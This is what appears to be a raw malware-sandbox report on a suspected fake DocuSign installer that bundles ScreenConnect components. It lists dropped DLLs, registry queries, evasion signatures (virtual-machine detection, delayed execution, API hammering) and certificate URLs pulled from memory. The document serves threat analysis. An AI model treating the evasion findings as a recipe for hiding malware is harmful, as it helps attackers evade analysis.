[%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\DocuSign.BootstrapperApplication.dll]- [targetUID: 00000000-00007008] "Microsoft.Deployment.WindowsInstaller.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\MSIE844.tmp-\Microsoft.Deployment.WindowsInstaller.dll]- [targetUID: 00000000-00005136] "Microsoft.Deployment.WindowsInstaller.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.WindowsInstaller.dll]- [targetUID: 00000000-00005136] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\it\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\ko\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\zh-hans\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\fr\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\es\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\nl\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "DocuSign.BootstrapperApplication.resources.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\zh-hant\DocuSign.BootstrapperApplication.resources.dll]- [targetUID: 00000000-00007008] "mbahost.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\mbahost.dll]- [targetUID: 00000000-00007008] "BootstrapperCore.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Temp\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\.ba\BootstrapperCore.dll]- [targetUID: 00000000-00007008] "Microsoft.Deployment.WindowsInstaller.Package.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll]- [targetUID: 00000000-00005036] "Microsoft.Deployment.Compression.Cab.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.Compression.Cab.dll]- [targetUID: 00000000-00005036] "Microsoft.Deployment.Compression.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\Microsoft.Deployment.Compression.dll]- [targetUID: 00000000-00005036] "ScreenConnect.InstallerActions.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- Location: [%WINDIR%\Installer\MSI646E.tmp-\ScreenConnect.InstallerActions.dll]- [targetUID: 00000000-00005036] "DocuSign.Installer.CustomActions.dll" has type "PE32+ executable for MS Windows 4.00 (DLL) x86-64 Mono/.Net assembly 2 sections"- Location: [%TEMP%\MSIE844.tmp-\DocuSign.Installer.CustomActions.dll]- [targetUID: 00000000-00005136]65:Tcb8,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEUMPDBUFFERSIZECHECK"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "E36C4458-ED80-4AD7-A8BE-52DDA1EB5F1C"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000603XX"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "1AFF6089-E863-4D36-BDFD-3581F07440BE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "F0558438-F56A-5987-47DA-040CA75AEF05"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "C7E09E2A-C663-5399-AF79-2FCCD321D19A"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "703FCC13-B66F-5868-DDD9-E2DB7F381FFB"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "A99B2EB4-5620-44F5-9B02-F9D2EEBF2E96"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "")66:T4cd,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Able to identify virtual environment by using API string Matched sigs: Able to identify virtual environment using user register activity Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Contains ability to delay execution (Powershell command string) Matched sigs: Queries process mitigation policy via NtQueryInformationProcess Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Triggers a burst of requests to the same API (API Hammering) Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Contains ability to delay the execution of current thread Matched sigs: Contains ability to detect virtual environment (API) Matched sigs: Makes a code branch decision directly after an API that is environment aware67:T5e6,"cmd.exe" trying to access non-existent file "C:\powershell.exe" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSVCP140.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\MSVCP140.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\VCRUNTIME140.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL"68:T5c2,"cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\SC_FeedbackTool-install.log" "powershell.exe" trying to access non-existent file "C:\Windows\System32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PublisherPolicy.tme" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll.config"69:T8f0,Found reference to API "Failed to connect to elevated child process." (Indicator: " connect "; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API "Failed to wait for child to connect to pipe." (Indicator: " connect "; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API "Failed to wait for embedded process to connect to pipe." (Indicator: " connect "; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API "Failed to connect to unelevated process." (Indicator: " connect "; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API "Failed to connect to parent of embedded process." (Indicator: " connect "; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API "Failed to get shutdown privilege LUID." (Indicator: " shutdown "; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API "Failed to adjust token to add shutdown privileges." (Indicator: " shutdown "; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API "Failed to post shutdown message." (Indicator: " shutdown "; File: "00000000-00007008.00000002.220520.00081000.00000020.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00006420.00000000.214162.CF280000.00000004.mdmp, 00000000-00006420.00000001.214348.CF280000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp, 00000000-00006420.00000001.214348.E9770000.00000004.mdmp")6a:T449,"2.5.29.37" "2.5.29.35" "2.5.29.31" "192.168.0.2" Potential IP "4.0.0.0" found in string "ystem.Management,4.0.0.0,,b03f5f7f11d50a3a" Potential IP "1.0.0.0" found in string "1.0.0.0," "2.5.4.6" "2.5.4.8" "2.5.4.7" "2.5.4.10" "2.5.4.11" "2.5.4.5" "2.5.29.16" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" "4.0.0.0000000" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Potential IP "0.0.0.0" found in string "0.0.0.0," "2.5.29.32" "2.5.29.15" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.14" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.19" "2.5.29.17" "2.5.29.1" "2.5.4.3" "2.5.29.10" "3.0.0.0" "1.1.0.1" Potential IP "4.0.0.0" found in string "n=4.0.0.0, C" Potential IP "4.0.0.0" found in string "ystem.Numerics,4.0.0.0,,b77a5c561934e089,MSIL" Potential IP "4.0.0.0" found in string "4.0.0.0,;"6b:T10185,Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00002772.00000000.215210.DE600000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00002772.00000000.215210.DE600000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00002772.00000000.215210.DE600000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002772.00000000.215210.DE600000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;verisign," - Source: "00000000-00002772.00000000.215210.DE600000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;]" - Source: "00000000-00002772.00000000.215210.DE600000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00002772.00000000.215210.DE600000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e2.5.29.1mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://www.microsoft.comrsa1(]b,=t]o-rsa1-g!" - Source: "00000000-00002772.00000000.215210.E08D0000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00006420.00000000.214162.CF280000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00006420.00000000.214162.CF280000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00006420.00000000.214162.CF280000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e2.5.4.32.5.29.1bhv*8tpaglobalsign" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl00" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm6oov>4httpf" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0k26kvj>" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00006420.00000000.214162.E9770000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00006420.00000001.214348.CF280000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00006420.00000001.214348.CF280000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00006420.00000001.214348.CF280000.00000004.mdmp") Found URL "http://www.microsoft.com0h3y0w'q<@2/l:p" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e2.5.4.32.5.29.1bhv*8tpaglobalsign" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006420.00000001.214348.E9770000.00000004.mdmp") 